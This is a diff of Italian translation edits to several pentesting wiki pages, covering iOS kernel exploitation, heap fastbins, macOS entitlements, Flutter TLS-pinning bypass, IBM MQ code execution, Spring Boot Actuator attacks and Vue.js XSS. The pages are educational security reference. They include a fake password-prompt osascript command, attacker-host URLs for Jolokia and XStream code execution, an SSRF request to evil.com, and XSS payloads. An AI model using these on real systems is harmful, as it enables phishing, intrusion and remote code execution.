Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare in seguito:
|
||||
```c
|
||||
@ -197,12 +197,12 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Riepilogo del Flusso di Exploit
|
||||
|
||||
1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
|
||||
2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
|
||||
3. **Identificare IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
|
||||
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface.
|
||||
1. **Attivare l'uso fisico dopo la liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
|
||||
2. **Spray degli oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
|
||||
3. **Identificare l'IOSurface accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
|
||||
4. **Abusare dell'uso dopo la liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface.
|
||||
|
||||
Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
|
||||
Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -24,11 +24,11 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
I fastbins sono utilizzati per piccoli chunk di memoria. A differenza degli unsorted bins, i fastbins aggiungono nuovi chunk all'inizio, creando un comportamento last-in-first-out (LIFO). Se richiedi un piccolo chunk di memoria, l'allocatore preleverà dalla testa del fastbin.
|
||||
I fastbins sono utilizzati per piccoli chunk di memoria. A differenza degli unsorted bins, i fastbins aggiungono nuovi chunk alla testa, creando un comportamento last-in-first-out (LIFO). Se richiedi un piccolo chunk di memoria, l'allocatore preleverà dalla testa del fastbin.
|
||||
|
||||
Esempio:
|
||||
|
||||
- Allochi quattro chunk di 20 byte ciascuno (`a`, `b`, `c`, `d`).
|
||||
- Allocchi quattro chunk di 20 byte ciascuno (`a`, `b`, `c`, `d`).
|
||||
- Quando li liberi in qualsiasi ordine, i chunk liberati vengono aggiunti alla testa del fastbin.
|
||||
- Se poi richiedi un chunk di 20 byte, l'allocatore restituirà il chunk liberato più di recente dalla testa del fastbin.
|
||||
```c
|
||||
@ -57,4 +57,6 @@ d = malloc(20); // a
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- È possibile allocare della memoria, scrivere il valore desiderato, liberarlo, riallocarlo e poiché i dati precedenti sono ancora lì, verrà trattato secondo la nuova struttura prevista nel chunk rendendo possibile impostare il valore per ottenere il flag.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). Su ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno.
|
||||
- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). In ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
> [!WARNING]
|
||||
> Nota che le autorizzazioni che iniziano con **`com.apple`** non sono disponibili per terze parti, solo Apple può concederle.
|
||||
|
||||
## Alto
|
||||
## High
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
@ -17,15 +17,15 @@ L'autorizzazione **`com.apple.rootless.install`** consente di **bypassare SIP**.
|
||||
|
||||
### **`com.apple.system-task-ports` (precedentemente chiamato `task_for_pid-allow`)**
|
||||
|
||||
Questa autorizzazione consente di ottenere il **port task per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
Questa autorizzazione consente di ottenere il **task port per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il port task del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il task port del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un port task valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i port task** dei processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un task port valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i task port** di processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
@ -46,7 +46,7 @@ Questa autorizzazione consente di **utilizzare variabili di ambiente DYLD** che
|
||||
|
||||
### **`system.install.apple-software`** e **`system.install.apple-software.standar-user`**
|
||||
|
||||
Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **elevazione di privilegi**.
|
||||
Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **privilege escalation**.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
@ -66,11 +66,11 @@ TODO: Non so cosa consenta di fare
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
|
||||
TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
|
||||
TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
@ -97,7 +97,7 @@ Come farle chiedere all'utente la propria password:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
Or farli eseguire **azioni arbitrarie**.
|
||||
Or making them perform **azioni arbitrarie**.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
@ -117,24 +117,24 @@ Consente di modificare i file all'interno del bundle delle app (all'interno di a
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Il processo sarà in grado di **abusare delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questa autorizzazione.
|
||||
Il processo sarà in grado di **abusare delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questo permesso.
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il deprecato **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro) o utilizzare il framework **DVDPlayback**. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il deprecato **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro) o utilizzare il framework **DVDPlayback**. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di programmazione non sicuri in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione.
|
||||
> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di codice non sicuro in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione.
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> L'Autorizzazione per Disabilitare la Protezione della Memoria Eseguibile è un'autorizzazione estrema che rimuove una protezione fondamentale della sicurezza dalla tua app, rendendo possibile per un attaccante riscrivere il codice eseguibile della tua app senza essere rilevato. Preferisci autorizzazioni più ristrette se possibile.
|
||||
@ -149,7 +149,7 @@ Questa autorizzazione consente di montare un file system nullfs (vietato per imp
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
Secondo questo post del blog, questa autorizzazione TCC si trova solitamente nella forma:
|
||||
Secondo questo post del blog, questo permesso TCC si trova solitamente nella forma:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
@ -161,3 +161,10 @@ Consenti al processo di **richiedere tutte le autorizzazioni TCC**.
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# Flutter
|
||||
Flutter è il **toolkit UI cross-platform di Google** che consente agli sviluppatori di scrivere un'unica base di codice Dart che l'**Engine** (C/C++ nativo) trasforma in codice macchina specifico per Android e iOS.
|
||||
L'Engine include un **Dart VM**, **BoringSSL**, Skia, ecc., e viene fornito come libreria condivisa **libflutter.so** (Android) o **Flutter.framework** (iOS). Tutte le operazioni di rete effettive (DNS, socket, TLS) avvengono **all'interno di questa libreria**, *non* nei soliti livelli Java/Kotlin Swift/Obj-C. Questo design isolato è il motivo per cui i soliti hook di Frida a livello Java non funzionano sulle app Flutter.
|
||||
L'Engine include un **Dart VM**, **BoringSSL**, Skia, ecc., e viene fornito come libreria condivisa **libflutter.so** (Android) o **Flutter.framework** (iOS). Tutte le operazioni di rete effettive (DNS, socket, TLS) avvengono **all'interno di questa libreria**, *non* nei consueti livelli Java/Kotlin Swift/Obj-C. Questo design isolato è il motivo per cui i consueti hook Frida a livello Java non funzionano sulle app Flutter.
|
||||
|
||||
## Intercettare il traffico HTTPS in Flutter
|
||||
|
||||
@ -15,10 +15,10 @@ Questo è un riepilogo di questo [blog post](https://sensepost.com/blog/2025/int
|
||||
* **BoringSSL utilizza il proprio store CA** all'interno di libflutter.so; importare il tuo CA di Burp/ZAP nello store di sistema di Android non cambia nulla.
|
||||
* I simboli in libflutter.so sono **strippati e offuscati**, nascondendo la funzione di verifica del certificato dagli strumenti dinamici.
|
||||
|
||||
### Identificare esattamente lo stack Flutter
|
||||
### Fingerprint l'esatto stack Flutter
|
||||
Conoscere la versione ti consente di ricostruire o abbinare i binari giusti.
|
||||
|
||||
Passo | Comando / File | Risultato
|
||||
Step | Comando / File | Risultato
|
||||
----|----|----
|
||||
Ottieni hash snapshot | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
|
||||
Mappa hash → Engine | **enginehash** list in reFlutter | Flutter 3 · 7 · 12 + commit engine `1a65d409…`
|
||||
@ -40,7 +40,7 @@ Trova [get_snapshot_hash.py qui](https://github.com/Impact-I/reFlutter/blob/main
|
||||
4. **Build pre-patchate** per versioni comuni sono disponibili nelle release di reFlutter su GitHub per risparmiare ore di tempo di build.
|
||||
|
||||
### Opzione B – Hooking live con **Frida** (il percorso “hard-core”)
|
||||
Poiché il simbolo è strippato, esegui una scansione del modulo caricato per i suoi primi byte, quindi cambia il valore di ritorno al volo.
|
||||
Poiché il simbolo è strippato, esegui una scansione del pattern del modulo caricato per i suoi primi byte, quindi cambia il valore di ritorno al volo.
|
||||
```javascript
|
||||
// attach & locate libflutter.so
|
||||
var flutter = Process.getModuleByName("libflutter.so");
|
||||
@ -73,3 +73,6 @@ Flutter stesso **ignora le impostazioni del proxy del dispositivo**. Opzioni pi
|
||||
|
||||
## Riferimenti
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,7 +20,7 @@ Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://g
|
||||
|
||||
### Installazione di pymqi
|
||||
|
||||
**Le dipendenze di IBM MQ** devono essere installate e caricate:
|
||||
È necessario installare e caricare **le dipendenze di IBM MQ**:
|
||||
|
||||
1. Crea un account (IBMid) su [https://login.ibm.com/](https://login.ibm.com/).
|
||||
2. Scarica le librerie IBM MQ da [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Per Linux x86_64 è **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
@ -31,10 +31,10 @@ Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://g
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> fi
|
||||
> ```
|
||||
|
||||
@ -56,7 +56,7 @@ Basta usare: `sudo docker run --rm -ti leonjza/punch-q`.
|
||||
|
||||
#### Senza Docker
|
||||
|
||||
Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e poi segui il readme per l'installazione (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e segui il readme per l'installazione (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
|
||||
Dopo, può essere utilizzato con il comando `punch-q`.
|
||||
|
||||
@ -80,7 +80,7 @@ Queue Manager name: MYQUEUEMGR
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Può capitare che alcune istanze IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non sono necessari. Naturalmente, i diritti di accesso possono anche variare.
|
||||
Succede che alcune istanze di IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non è necessario. Naturalmente, i diritti di accesso possono anche variare.
|
||||
|
||||
Non appena otteniamo un nome di canale (qui: `DEV.ADMIN.SVRCONN`), possiamo enumerare tutti gli altri canali.
|
||||
|
||||
@ -183,7 +183,7 @@ Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operaz
|
||||
|
||||
### Esecuzione del codice
|
||||
|
||||
> Alcuni dettagli prima di continuare: IBM MQ può essere controllato attraverso più modalità: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> Alcuni dettagli prima di continuare: IBM MQ può essere controllato in diversi modi: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formati di Comando Programmabili_**) è su cui ci concentriamo per interagire da remoto con l'istanza. **punch-q** e inoltre **pymqi** si basano sulle interazioni PCF.
|
||||
>
|
||||
> Puoi trovare un elenco di comandi PCF:
|
||||
@ -193,7 +193,7 @@ Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operaz
|
||||
>
|
||||
> Un comando interessante è `MQCMD_CREATE_SERVICE` e la sua documentazione è disponibile [qui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Prende come argomento un `StartCommand` che punta a un programma locale sull'istanza (esempio: `/bin/sh`).
|
||||
>
|
||||
> C'è anche un avviso sul comando nella documentazione: _"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o negligente potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."_
|
||||
> C'è anche un avviso sul comando nella documentazione: _"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o distratto potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."_
|
||||
>
|
||||
> _Nota: sempre secondo la documentazione di IBM MQ (Riferimento all'Amministrazione), c'è anche un endpoint HTTP a `/admin/action/qmgr/{qmgrName}/mqsc` per eseguire il comando MQSC equivalente per la creazione del servizio (`DEFINE SERVICE`). Questo aspetto non è ancora trattato qui._
|
||||
|
||||
@ -233,7 +233,7 @@ Per una reverse shell facile, **punch-q** propone anche due payload per reverse
|
||||
- Uno con bash
|
||||
- Uno con perl
|
||||
|
||||
_È ovvio che puoi costruirne uno personalizzato con il comando `execute`._
|
||||
_Certo, puoi costruirne uno personalizzato con il comando `execute`._
|
||||
|
||||
Per bash:
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ else:
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
Se non riesci a trovare i nomi costanti, puoi fare riferimento alla [documentazione IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla [documentazione IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
|
||||
> _Esempio per [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimale = 73). Ha bisogno del parametro `MQCA_CLUSTER_NAME` (Decimale = 2029) che può essere `_` (Doc: ):\*
|
||||
>
|
||||
@ -294,19 +294,19 @@ Se non riesci a trovare i nomi costanti, puoi fare riferimento alla [documentazi
|
||||
> pcf = pymqi.PCFExecute(qmgr)
|
||||
>
|
||||
> try:
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Error")
|
||||
> print("Error")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
|
||||
## Ambiente di test
|
||||
|
||||
Se vuoi testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker:
|
||||
Se desideri testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker:
|
||||
|
||||
1. Avere un account su ibm.com e cloud.ibm.com.
|
||||
2. Creare un IBM MQ containerizzato con:
|
||||
@ -314,7 +314,8 @@ Se vuoi testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambi
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile ambiente `MQ_ADMIN_PASSWORD`). Qui, il nome del gestore della coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`).
|
||||
Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile ambiente `MQ_ADMIN_PASSWORD`).
|
||||
Qui, il nome del gestore della coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`).
|
||||
|
||||
Dovresti avere IBM MQ in esecuzione con le sue porte esposte:
|
||||
```bash
|
||||
@ -322,10 +323,12 @@ Dovresti avere IBM MQ in esecuzione con le sue porte esposte:
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||||
```
|
||||
> Le vecchie versioni delle immagini docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/.
|
||||
> Le vecchie versioni delle immagini Docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [mgeeky's gist - "Note pratiche di Penetration Testing di IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
|
||||
### **Punti Chiave:**
|
||||
|
||||
- I Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza.
|
||||
- Gli Actuators di Spring Boot registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza.
|
||||
- Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
|
||||
- In Spring Boot 1.x, gli actuators sono registrati sotto l'URL radice, mentre in 2.x, sono sotto il percorso base `/actuator/`.
|
||||
@ -27,7 +27,7 @@
|
||||
- URL di esempio per lo sfruttamento: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modifica della Configurazione tramite '/env'**:
|
||||
|
||||
- Se le librerie Spring Cloud sono presenti, l'endpoint `/env` consente la modifica delle proprietà ambientali.
|
||||
- Se sono presenti le librerie di Spring Cloud, l'endpoint `/env` consente la modifica delle proprietà ambientali.
|
||||
- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel serviceURL di Eureka.
|
||||
- Richiesta POST di esempio per lo sfruttamento:
|
||||
|
||||
@ -54,7 +54,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
- I dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 possono essere trovati [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso**:
|
||||
- La gestione dei parametri di matrice (`;`) nel framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF).
|
||||
- La gestione dei parametri di matrice (`;`) da parte del framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF).
|
||||
- Richiesta di esempio per lo sfruttamento:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
@ -62,3 +62,8 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## Sinks XSS in Vue.js
|
||||
|
||||
### Direttiva v-html
|
||||
La direttiva `v-html` rende HTML **grezzo**, quindi qualsiasi `<script>` (o un attributo come `onerror`) incorporato in input utente non sanitizzati viene eseguito immediatamente.
|
||||
La direttiva `v-html` rende **raw** HTML, quindi qualsiasi `<script>` (o un attributo come `onerror`) incorporato in input utente non sanitizzati viene eseguito immediatamente.
|
||||
```html
|
||||
<div id="app">
|
||||
<div v-html="htmlContent"></div>
|
||||
@ -54,13 +54,13 @@ I nomi forniti dall'utente in `v-bind:[attr]` o `v-on:[event]` consentono agli a
|
||||
<!-- userAttr = 'onerror', payload = 'alert(1)' -->
|
||||
```
|
||||
### Componente dinamico (`<component :is>`)
|
||||
